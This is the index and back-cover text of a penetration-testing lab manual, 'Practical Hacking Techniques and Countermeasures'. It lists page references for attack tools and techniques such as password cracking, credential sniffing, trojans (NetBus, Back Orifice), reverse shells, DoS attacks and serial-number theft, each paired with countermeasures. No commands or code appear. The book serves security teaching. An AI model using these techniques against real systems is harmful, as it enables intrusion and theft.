Engage Packet Builder, 264 Enter key, 58 ESX Server, 3 Ethereal. 195-212 how it works, 195 installing on Red Hat Linux computer, 196-205 installing on Windows, 195, 206-212 syntax, 697 understanding, 212 Ethernet three-way handshakes, 265 Ettercap, 556-572 changing data, 565-572 displaying hostnames, 560-562 how it works, 556 installing, 556-557 intercepting usernames/passwords, 562-565 setting parameters, 558-559 syntax, 720

F

F8 key, 17 Fake Lock Screen XP executing, 494-498 how it works, 491 setting parameters, 492-493 starting application, 491-492 syntax, 719 FGDump, 309-312, 713 File Transfer Protocol, see FTP File verification countermeasure, Elitewrap, 618 Filters, Ettercap, 565–572 Firewalls Fpipe bypassing, 627-632 Packit for testing, 284 virtual Red Hat Version 8 installation, 48 Firewalls, as countermeasure NETWOX/NETWAG, 301 scanning Angry IP, 147-150 CGI (Common Gateway Interface) Scanner, 171-177 Fscan, 153 Hydra, 178-186 LANguard, 151-152 LanSpy, 158-160 Passifist, 154-157 Strobe, 166–168 SuperScan, 163-165 Sniffit, 249 spoofing Linux, 277 RafaleX, 263-267 SMAC (Spoofed Media Access Control), 268

target enumeration disable default shares, 135 DUMPSEC, 98-101 GETMAC, 90 nmap/nmapFE, 109-116 nmapNT, 117-122 nmblookup, 124 nslookup, 123 NULL session, 89 SID2USER, 93-95 USER2SID, 91 USERDUMP, 96 USERINFO, 97 WHCC, 507 WinFingerprint, 139-143 vulnerability scanning Solar Winds, 386 X-Scan, 397 Fpipe, 627-632, 721-722 Fscan, 153, 695 FTP (File Transfer Protocol) brute-force FTP passwords BruteFTP, 346-353 NETWOX/NETWAG, 301-308 FTPScanner, 169-170 FTPScanner, 169-170, 696

G

gcc banner.c –o banner, 84 GETMAC, 90, 679 Global Positioning Satellites, *see* GPS, and NetStumbler/Mini-Stumbler GPS (Global Positioning Satellites), and NetStumbler/Mini-Stumbler, 518 Graphical User Interface, *see* GUI GSX Server, 3 GUI (Graphical User Interface), Red Hat Linux, 59

Н

Host computers defined, 3 switching back to, 29 Hostnames Ettercap displaying, 560–561 obtaining with nmblookup, 124 obtaining with nslookup, 123 Hosts enumerating LAN, 102–104 scanning with WinFingerprint, 139–143 Hotfixes, NETWOX/NETWAG, 384 Hydra compiling, 178 creating and starting, 178–180 how it works, 178 launching against target, 180-186

I

ICMP (Internet Control Messenger Protocol) ngrep recognizing, 213 as PathPing countermeasure, 107-108 as PingG countermeasure, 105-106 Sneaky-Sneaky for tunnel backdoor, 545-552 IDS (Intrusion Detection System) Fscan attempting to circumvent, 153 netcat countermeasure, 161-162 nmap/nmapFE countermeasure, 109-116 nmapNT countermeasure, 117-122 nmblookup countermeasure, 124 nslookup countermeasure, 123 Packit for testing, 284 Ingress filtering, and DoS (Denial-of-Service) land attacks, 645, 649 INSTALL files, Ethereal, 199 Installation to Begin screen, Red Hat Version 8, 51 Installation Wizard, VMware Workstation, 4 - 9Inter Process Communication share, see IPC\$ Internet configuring for Achilles, 576-578 vulnerability scanner: Cerberus, 468-473 Internet Control Messenger Protocol, see ICMP Internet Relay Chat, see IRC Intrusion Detection System, see IDS IP addresses attackers looking for, 222 installing Red Hat Version 8 virtual machine, 47 spoofing with Packit, see Packit spoofing with RafaleX, 263-267 targeting with nmblookup, 124 targeting with nslookup, 123 IPC\$ (Inter Process Communication share), 61, 89 IPDump2 how it works, 234 for Linux, 234-237 syntax, 705 for Windows, 237-239 IRC (Internet Relay Chat), 74

J

JtR (John the Ripper), 337–345, 714–716 configure, 337 execute, 342–345 how it works, 337 syntax, 713

K

Keyboard layout installing Red Hat Version 8 virtual machine, 41 installing Windows 2000 virtual Workstation, 22

L

L0phtcrack version 5, see LC5 (L0phtcrack version 5) Land attacks. DoS (Denial-of-Service) overview of, 645-649 SYN (Synchronize) attack, 655-659 Language support, Red Hat Version 8, 41, 48 LANguard, 151-152, 694 LANs (Local Area Networks) enumerating hosts/domains of, 102-104 identifying targets with LanSpy, 158-160 identifying targets with Passifist, 154-157 LanSpy, 158-160, 695 LC5 (L0phtcrack version 5), 313-324 cracking password hashes with, 313 execute, 319-324 install, 313-315 select parameters, 316-319 start, 316 syntax, 713 Licenses installing VMWare Workstation, 5 installing Windows 2000 virtual Workstation, 18 operating system, 10 SAINT, 361-362, 367 Linux downloading, 10 installing Red Hat Version 8 virtual machine, 35-55 beginning, 51-55 configuring settings, 38-51 New Virtual Machine Wizard, 35-38 VMware Tools, 55-59 IPDump2 for, 234-237 John the Ripper for, 341-345 Metasploit for, 441-450 ngrep for, 213-218 spoofed MAC (Media Access Control) addresses, 277-283 how it works, 268 install, 268-270 reboot, 275-276 set parameters, 270-275 syntax, 706 syntax, 706-707 text command, 40 Local Area Networks, see LANs

Log monitoring Fpipe countermeasure, 627 NETWOX/NETWAG countermeasure, 638 PortMapper countermeasure, 605

Μ

MAC (Media Access Control) addresses, 706 attackers looking for, 222 NetStumbler countermeasure, 513 spoofing with Linux, 277-283 spoofing with Packit, see Packit spoofing with SMAC (Spoofed Media Access Control), 268-276 how it works, 268 install, 268-270 reboot, 275-276 set parameters, 270-275 syntax, 706 spoofing with VMware Workstation, 295-297 target enumeration, 90 make command, 70 make install command, 71 Man-in-the-middle, see MTM attacks Management Information Base, see MIB, and SNMP MDAC (Microsoft Data Access Components), 392 Media Access Control, see MAC Metasploit, 429-450 on Linux, 441-450 syntax, 717 on Windows, 429-440 MIB (Management Information Base), and SNMP (Single Network Management Protocol), 378 Microsoft Data Access Components, see MDAC Microsoft serial numbers, 499-506 Microsoft Windows, see Windows Mini-Stumbler, 518 MTM (man-in-the-middle) attacks, 587

Ν

N-Stealth, 414–420 executing, 416–417 installing, 414 reviewing results, 417–420 starting application/setting parameters, 415 syntax, 717 NAT (Network Address Translation) for NetStumbler, 515 Wingate Proxy Server providing, 187 Net commands enumerating hosts and domains of LANs (Local Area Networks) with, 102–104 syntax, 681 NetBus, 534-544 on attacker's computer, 540-544 vs. Back Orifice, 534 how it works, 534 removal tools for, 544 syntax, 719 on target (server), 534-540 Netcat banner identification with, 67-72 covert reverse Telnet session with, 588-595 hiding on wireless, 553-555 locating open ports with, 161-162 reference for, 671 syntax, 676 Netcraft retrieving targeted OS (Operating System) with, 131-132 syntax, 694 NetStumbler locating unsecured wireless, 513-518 analyzing results, 516-518 executing, 515-516 how it works, 513 installing, 514 syntax, 719 NETWAG brute force FTP passwords, 301-308 defined, 378 importance of, 385 syntax, 712-713 traffic redirection with, 638-641 walking SNMP, 379-385 NETWLIB, 301 Network Address Translation, see NAT Network cards. see NICs Network Identification Wizard, 27-28 NETWork toolbox, see NETWOX (NETWork toolbOX) Networks, virtual machines configuring, 13 Red Hat Version 8, 37, 47 Windows 2000 Workstation components, 24 - 25NETWOX (NETWork toolbOX) brute force FTP passwords with, 301-308 importance of, 385 SNMP (Single Network Management Protocol) walk with, 379-385 syntax, 712-713 traffic redirection with, 638-641 New Virtual Machine Wizard, 11-14, 35-38 Ngrep, 213-222 how it works, 213 for Linux, 213-218

syntax, 697-698 for Windows, 219-222 NICs (network cards) for NetStumbler, 515 target enumeration and, 90 Nikto assessing Web server security with, 451-454 importing for WHCC (Web Hack Control Center), 507 syntax, 717-719 Nmap, 109-116 compiling/creating Linux executable, 109 - 111executing against target, 112-116 how it works, 109 syntax, 682 NmapNT, 117-122 execute against target, 121-122 how it works, 117 install drivers, 117-120 syntax, 691 Nmblookup, 124, 692-694 Nslookup, 123, 691 NULL session, 89, 678

0

Open shares, scanning with Hydra, 178–186
Operating system, *see* OS
OS (operating system)
CGI (Common Gateway Interface) Scanner countermeasures, 171–177
identifying
with Netcraft, 131–132
with Netcraft, 131–132
with nmap/nmapFE, 109–116
with nmapNT, 117–122
with Sprint, 133–134
with XProbe2, 75–78
penetration testing with LANguard, 151–152

Р

Packit, 284–294 compile, 284–285 create, 286 execute, 290–294 how it works, 284 install, 287 set parameters, 288–289 syntax, 707–712 PAGE DOWN keys, 49 PAGE UP keys, 49 PAGE UP keys, 49 Passifist, 154–157, 695 Passwords, *see also* Administrator passwords attackers looking for, 222 Ettercap intercepting, 564–565

John the Ripper and, 345 PsExec countermeasure, 633 Red Hat Linux Boot Loader, 46 Red Hat Version 8 virtual machine root, 49, 55 Passwords, brute force cracking hashes, 313-324 extracting hashes, 309-312 FTP (File Transfer Protocol), 346-353 for hashed files, 337-345 Terminal Server, 354-356 Patches, SAINT (Security Administrator's Integrated Network Tool), 378 Pathping, 107-108, 682 Penetration testing, with LANguard, 151-152 Ping, 681-691 PingG, 105-106 Pluto, 421-428 custom audit checks, 427 reviewing results, 426-428 setting parameters, 423-425 starting, 421-422 syntax, 717 Point-to-Point Protocol, see PPP Port 13, 74 Port 19, 74 Port 23, 65 Port 6666, 74 PortMapper, 605-617 configure parameters, 605-612 execute, 613-617 how it works, 605 install, 605-607 syntax, 721 Ports, open finding port redirection, 617 locating with Angry IP, 147-150 locating with Cryptcat, 161 locating with LANguard, 151-152 locating with netcat, 161-162 locating with Strobe, 166-168 locating with SuperScan, 163-165 PPP (Point-to-Point Protocol), 213 Preparation about CD-ROM accompanying book, 60 installing VMware Workstation, 3-10 Restrict Anonymous, 60-62 virtual machines, see Virtual machines PsExec, 633-637, 722-723

R

RafaleX DoS (Denial-of-Service) land attack with, 645–649 DoS smurf attack with, 650–654 DoS SYN (Synchronize) attack with, 655–659

DoS UDP (User Datagram Protocol) flood attack with, 660-664 spoofing IP (Internet Protocol) addresses with, 263-267 syntax, 706, 723 RAM (Random Access Memory), virtual machine settings, 15, 39 Random Access Memory, see RAM README files, Ethereal, 199 Red Hat Linux banner grabbing via netcat, 69-72 banner grabbing via Telnet in, 66 installing amap on, 79 installing Ethereal, 196-205 Red Hat Version 8 virtual machine, installing, 35-55 beginning, 51-55 configuring settings, 38-51 New Virtual Machine Wizard, 35-38 VMware Tools, 55-59 Redirection, 603-641 Elitewrap, 618-626 how it works, 618 listening netcat session on target, 622-626 obtaining list of ports in use, 618-621 stop listening on target, 626 Fpipe, 627-632 NETWOX/NETWAG, 638-641 PortMapper, 605-617 configure parameters, 605-612 execute, 613-617 how it works, 605 install, 605-607 PsExec, 633-637 References Linux download, 10 overview of, 671-674 VMware Workstation demo, 3 Registrant identification Sam Spade protecting, 128-130 Visual Route Web Site obtaining, 126-127 Registry Edit, 135-138 Relative Identifiers, see RIDs Remote Procedure Calls, see RPCs Restrict Anonymous, as countermeasure Angry IP, 147-150 DUMPSEC, 98-101 GETMAC, 90 NULL session, 89 settings for, 60-62 SID2USER, 93-95 USER2SID, 91 USERDUMP, 96 USERINFO, 97 Windows default shares, 135-138 WinFingerprint, 139-143

Retina high quality of, 396 syntax, 717 target assessment with, 392-396 X-Scan as free equivalent of, 397-401 Reverse Shell, 476-481 auto exploit: WHAX, 474-490 booting from CD, 474-475 executing AutoScan, 482-490 how it works, 474 setting parameters, 476-481 covert channel executing on target, 599-601 how it works, 596 listening netcat session, 597-598 removing antivirus, 601-602 syntax, 721 RIDs (Relative Identifiers), 92, 93-95 RockXP, 499-506 executing, 499-500, 506 gathering data, 501-504 inserting into custom script, 504-506 stealing Microsoft serial numbers, 502 syntax, 719 Root password, 49, 55 Router IP (Internet Protocol) addresses, 222 Rpcinfo RPC (Remote Procedure Call) reporting with, 125 syntax, 692 RPCs (Remote Procedure Calls), 125

S

SAINT (Security Administrator's Integrated Network Tool), 359-378 executing against target, 364-373 how it works, 359 installing, 359-364 patches, 378 reviewing results, 373-378 syntax, 717 SAM (Security Accounts Manager), FGDump and, 309 Sam Spade, 694 Sam Spade Web site, 128-130 SARA (Security Auditor's Research Assistant), 402 - 413compiling, 402-404 executing against target, 404-407 how it works, 402 reviewing results, 408-413 syntax, 717 SATAN, 359

Scanline banner identification, 73-74 reference for, 671 syntax, 676-677 Scanning, 145-192. see also Vulnerability scanning Angry IP, 147-150 Fscan, 153 FTPScanner, 169-170 Hydra, 178-186 LANguard, 151-152 LanSpy, 158-160 netcat, 161-162 Passifist, 154-157 Strobe, 166-168 SuperScan, 163-165 TCS CGI (Common Gateway Interface) Scanner, 171-177 WGateScan/ADM Gates, 187-191 Secure FTP Client, see SFTP Secure Socket Layer, see SSL Security Accounts Manager, see SAM, FGDump and Security Administrator's Integrated Network Tool, see SAINT Security Auditor's Research Assistant, see SARA Security Identifiers, see SIDs enumerating from given username, 91-92 enumerating User ID from, 93-95 Security policies, as countermeasure Dsniff, 573 Ettercap, 556 PsExec, 633 Serial Line Interface Protocol, see SLIP, and ngrep Serial numbers bypassing Microsoft, 499-506 installing Windows 2000 virtual Workstation, 23 RockXP bypassing, 499-506 Services, disabling unnecessary LanSpy countermeasure, 158-160 netcat countermeasure, 161-162, 588 Strobe countermeasure, 166-168 SFIND tool, 553 SFTP (Secure FTP Client), 346 Shadow Scanner, 455-467 executing against target, 460-461 installing, 455 quality and cost of, 467 reviewing results, 462-467 setting parameters, 458-459 starting application, 456-457 syntax, 719 target assessment, 455-467 SID2USER, 93-95, 679 SIDs (Security Identifiers) enumerating from given username, 91-92 enumerating User ID from, 93-95

Simple Network Management Protocol, see SNMP SLIP (Serial Line Interface Protocol), and ngrep, 213SMAC (Spoofed Media Access Control), 268-276 how it works, 268 install, 268-270 reboot, 275-276 set parameters, 270-275 syntax, 706 SMB Scanner, 696 Smurf attack, DoS (Denial-of-Service), 650-654 Sneaky-Sneaky advantage of, 552 on attacker's computer, 548-552 how it works, 545 syntax, 719-720 on target (server), 545-547 Sniffing traffic, 193-260 detecting Ettercap, 556 Ethereal. 195-212 how it works, 195 installing on Red Hat Linux computer, 196-205 installing on Windows, 195, 206-212 syntax for, 697 understanding, 212 IPDump2, 234-239 ngrep, 213-222 how it works, 213 for Linux, 213-218 syntax for, 697-698 for Windows, 219-222 Sniffit. 249-259 configuring/creating application, 249-252 executing, 253-259 how it works, 249 Tcpdump, 223-229 Windump, 230-233 ZxSniffer, 240-248 executing, 246-248 how it works, 240 installing, 240-245 Sniffit, 249-259 configuring/creating application, 249-252 executing, 253-259 how it works, 249 syntax, 705 SNMP (Simple Network Management Protocol) assessing with X-Scan, 399 Solar Winds brute force attack on, 386-391 walks, 379–385 Social engineering techniques, 86 Software, Trojan-detection, 519 Solar Winds, 386-391 installing, 386 options, 387-388

SNMP (Simple Management Network Protocol) brute force attack with, 389-391 syntax, 717 Spoofed Media Access Control, see SMAC Spoofing, 261-298 Linux, 277-283 how it works, 268 install, 268-270 reboot, 275-276 set parameters, 270-275 syntax, 706 Packit, 284-294 compile, 284-285 create, 286 execute, 290-294 how it works, 284 install, 287 set parameters, 288-289 syntax, 707-712 RafaleX, 263-267 SMAC (Spoofed Media Access Control), 268-276 how it works, 268 installing, 268-270 rebooting, 275-276 setting parameters, 270-275 syntax, 706 VMware Workstation, 295-297 Sprint, 133-134, 694 SSL (Secure Socket Layer) BruteFTP countermeasure, 346 FTPScanner countermeasure, 169-170 MTM (man-in-the-middle) attacks and, 587 NETWOX/NETWAG countermeasure, 301 Startx, 58-59 Streaming files, 553-555, 720 Strobe, 166-168, 696 SuperScan, 163-165, 695 SYN (Synchronize) DoS (Denial-of-Service) attack, 655-659 Ethernet three-way handshakes, 265 SYN-ACK (Acknowledge), 265 Synchronize, see SYN Syntax, for tools, see Tool syntax

Т

Tab key, 42, 44 Target enumeration DUMPSEC, 98–101 GETMAC, 90 net commands, 102–104 Netcraft, 131–132 Nmap/nmapFE, 109–116 NmapNT, 117–122 Nmblookup, 124

Nslookup, 123 NULL session, 89 Pathping, 107-108 PingG, 105-106 Rpcinfo, 125 Sam Spade, 128-130 SID2USER, 93-95 Sprint, 133-134 USER2SID, 91-92 USERDUMP, 96 USERINFO, 97 Visual Route, 126-127 Windows OS (Operating System), 135-138 WinFingerprint, 139-143 TCP (Transfer Control Protocol) ngrep recognizing, 213 TCP (Transfer Control Protocol) Relay, 723 Tcpdump, 223-229, 698-700 TCP/IP auditing, 284 TCS CGI (Common Gateway Interface) Scanner, 171 - 177Telnet banner identification, 65-66 reference for, 671 setting covert reverse session of, 588-595 syntax, 675 Terminal Server, brute force passwords, 354-356 Token Ring, ngrep recognizing, 213 Tool syntax Achilles, 721 ADM Gates, 697 amap, 678 Angry IP, 694 AutoScan, 719 Back Orifice, 719 banner.c, 678 BruteFTP, 716 Cerberus, 719 CGI (Common Gateway Interface) Scanner, 696 Disable default shares, 694 Dsniff, 720-721 DUMPSEC, 679-681 Elitewrap, 721 Ethereal, 697 Ettercap, 720 Fake Lock, Screen XP/Login, 719 FGDump, 713 Fpipe, 721-722 Fscan, 695 FTP (File Transfer Protocol) Scanner, 696 GETMAC, 679 IPDump2, 705 John the Ripper, 713 LanGuard, 694

LanSpy, 695 LC5, 713 Linux, 706-707 Metasploit, 717 N-Stealth, 717 Net commands, 681 NetBus, 719 Netcat, 676, 695 Netcraft, 694 NetStumbler, 719 NETWAG, 712-713 NETWOX, 712-713 Ngrep, 697-698 Nikto, 717-719 Nmap, 682 NmapNT, 691 Nmblookup, 692-694 Nslookup, 691 NULL session, 678 Packit, 707-712 Passifist, 695 Pathping, 682 Ping, 681-691 Pluto, 717 PortMapper, 721 PSExec, 722-723 RafaleX, 706 Rafalex, 723 Retina, 717 Reverse Shell, 721 RockXP, 719 Rpcinfo, 692 SAINT (Security Administrator's Integrated Network Tool), 717 Sam Spade, 694 SARA (Security Auditor's Research Assistant), 717 Scanline, 676-677 Shadow Scanner, 719 SID2USER, 679 SMAC (Spoofed Media Access Control), 706 SMB Scanner, 696 Sneaky-Sneaky, 719-720 Sniffit, 705 Solar Winds, 717 Sprint, 694 Streaming files, 720 Strobe, 696 SuperScan, 695 TCP (Transfer Control Protocol) Relay, 723 Tcpdump, 698-700 Telnet, 675 Trash2.c, 723 TSGrinder, 716

USER2SID, 679 USERDUMP, 679 USERINFO, 679 Visual Route, 694 VMWare, 712 Windump, 700-705WHCC Scan, 719 WinFingerprint, 694 Wingate Scanner, 697 Xprobe 2, 677-678 X-Scan, 717 ZxSniffer, 705 Traffic redirection Fpipe, 627-632 NETWOX/NETWAG, 638-641 PortMapper, 605-617 configure parameters, 605-612 execute, 613-617 how it works, 605 install, 605-607 syntax, 721 Transfer Control Protocol, see TCP Transfer Control Protocol, see TCP Relay Trash2.c, 723 creating DoS (Denial-of-Service) traffic with, 665-669 Trojans Back Orifice, 519-533 detection software, 519 NetBus, 534-544 TSGrinder, 354-356, 716

U

UDP (User Datagram Protocol) DoS (Denial-of-Service) flood attack, 660-664 ngrep recognizing, 213 User Datagram Protocol, see UDP User information gathering with DUMPSEC, 98-101 gathering with USERDUMP, 96 gathering with USERINFO, 97 USER2SID, 91, 679 USERDUMP, 96, 679 USERINFO, 97, 679 Usernames adding to Red Hat Version 8 virtual machine, 50 attackers looking for, 222, 353 enumerating from SIDs (Security Identifiers), 93-95 enumerating SIDs from given, 91 Ettercap intercepting, 564-565 John the Ripper and, 345 NETWOX/NETWAG providing, 385

V

Video cards, Red Hat Version 8, 53 Virtual computers defined, 3 switching back to hosts from, 29 VMware Workstation hosting, 10 Virtual machines, 10-59 installing Red Hat Version 8, 35-55 beginning installation, 51-55 installing VMware Tools, 55-59 New Virtual Machine Wizard, 35-38 settings, 38-51 installing Windows 2000 Workstation, 11 - 29formatting hard drive, 19-20 installing VMware Tools, 29-34 networking components, 24-25 New Virtual Machine Wizard, 11-14 settings for, 21-24 starting virtual machine, 15-18 overview of, 10 Visual Route, 126-127, 694 VMware P2V Assistant, 3 syntax, 712 VMware Tools changes after installing, 34 for Red Hat Version 8 virtual machines, 55-59 for Windows 2000 virtual machines, 29 - 34wizard, 31-34 VMware Workstation demo version, 3 hosting virtual computers, 10 installing, 3-10 installing Red Hat Version 8 virtual machine, 35-55 installing virtual Windows 2000 Workstation, 11 - 29overview of, 3 spoofing MAC (Media Access Control) addresses with, 295-297 Vulnerability scanning, 357-510 Cerberus, 468-473 Fake Lock Screen XP, 491-498 executing, 494-498 how it works, 491 setting parameters, 492-493 starting application, 491-492 syntax, 719 Metasploit, 429-450 on Linux, 441-450 syntax for, 717

on Windows, 429-440 N-Stealth, 414-420 NETWOX/NETWAG, 379-385 Nitko, 451-454 Pluto, 421-428 Retina, 392-396 RockXP, 499-506 SAINT (Security Administrator's Integrated Network Tool), 359-378 executing against target, 364-373 how it works, 359 installing, 359-364 patches, 378 reviewing results, 373-378 syntax for, 717 SARA (Security Auditor's Research Assistant), 402-413 compiling, 402-404 executing against target, 404-407 how it works, 402 reviewing results, 408-413 syntax for, 717 Shadow Scanner, 455-467 executing against target, 460-461 installing, 455 quality and cost of, 467 reviewing results, 462-467 setting parameters, 458-459 starting application, 456-457 syntax for, 719 target assessment, 455-467 Solar Winds, 386-391 Web Hack Control Center, 507-510 WHAX, 474-490 booting from CD, 474-475 executing AutoScan, 482-490 how it works, 474 setting parameters, 476-481 X-Scan, 397-401

W

WebGoat, 574–575, 584–587
Web Hack Control Center, *see* WHCC scan
Web server target assessment
Nikto, 451–454
N-Stealth, 414–420
WEP (Wired Equivalent Privacy), 516
WGateScan, 187–189, 697
WHAX, 474–490
booting from CD, 474–475
executing AutoScan, 482–490
how it works, 474
setting parameters, 476–481
WHCC (Web Hack Control Center) scan, 507–510, 719

Windows installing amap on, 82-83 installing Ethereal on, 195 iPDump2 for, 237-239 licensing requirements, 10 Metasploit for, 429-440 ngrep for, 219-222 Nikto for, 454 Restrict Anonymous in versions of, 60-62 targeting default shares on, 135-138 Windows 2000 virtual machines installing virtual Workstation, 11-29 formatting hard drive, 19-20 networking components, 24-25 settings for, 21-24 starting New Virtual Machine wizard, 11 - 14starting virtual machine, 15-18 installing VMware Tools, 29-34 Restrict Anonymous and, 61 Windows Product Activation, see WPA file WinDump, 230-233, 700-705 WinFingerprint, 139-143, 694 Wingate Proxy Servers, 187-191 Wingate Scanner, 187-189, 697 WinPcap installing Ethereal with, 195, 209-210 installing Ettercap with, 557 Wired Equivalent Privacy, see WEP Wireless, 511-602 Achilles, 574-587 configuring Web browser, 576-578 how it works, 574 launch application, 578-584 launch WebGoat, 574-575 manipulate data in real-time, 585-587 Back Orifice, 519-533 on attacker's computer, 528-533 how it works, 519 installing remotely, 533 syntax for, 719 Dsniff, 573 Ettercap, 556-572 changing data, 565-572 displaying hostnames, 560-562 how it works, 556 installing, 556-557 intercepting usernames/passwords, 562-565 setting parameters, 558-559 NetBus, 534-544 on attacker's computer, 540-544 vs. Back Orifice, 534 how it works, 534

removal tools for, 544 syntax for, 719 netcat, 588-595 NetStumbler/Mini-Stumbler, 513-518 Reverse Shell, 596-602 Sneaky-Sneaky, 545-552 on attacker's computer, 548-552 how it works, 545 on target (server), 545-547 streaming files, 553-555 Wireless monitoring, NetStumbler countermeasure, 513 Workstation Defaults screen, Red Hat Version 8, 50 WPA (Windows Product Activation) file, 504

Χ

Xprobe 2 detecting OS (Operating System) of target with, 75–78 reference for, 671 syntax, 677–678 X-Scan, 397–401, 717 X Windows, 53, 58–59

Z

ZxSniffer, 240–248 executing, 246–248 how it works, 240 installing, 240–245 syntax, 705

Information Technology

PRACTICAL HACKING TECHNIQUES AND COUNTERMEASURES

Mark D. Spivey, CISSP



Examining computer security from the hacker's perspective, *Practical Hacking Techniques and Countermeasures* employs the use of virtual computers to illustrate how an attack is executed, including the script, compilation, and results. Readers can experiment firsthand with hacking techniques without the fear of corrupting computers or violating existing laws.

Its easy-to-use lab manual presentation begins with instructions on how to install VMware[®] Workstation and proceeds to guide users through detailed hacking labs enabling them to experience what a hacker actually does during an attack. The labs cover social engineering techniques, footprinting techniques, and scanning tools. Later labs examine spoofing and sniffing techniques, password cracking, and attack tools. Identifying wireless attacks, this manual also explores Trojans, Man-in-the-Middle (MTM), and Denial of Service (DoS) attacks.

By understanding how an attack is conceptualized, formulated, and performed, readers can learn how to defend against attacks. Valuable information is included for constructing a system to defend against attacks by securing your own computer or corporate network.

Features

- Provides detailed examples of attacks on Windows and Linux
- Contains more than 1100 screenshots for easily verified results
- Details Linux script compilation and use
- Lists the complete syntax for tools used throughout the book
- Includes an accompanying CD-ROM with the tools to duplicate each lab





6000 Broken Sound Parkway, NW Suite 300, Boca Raton, FL 33487 270 Madison Avenue New York, NY 10016

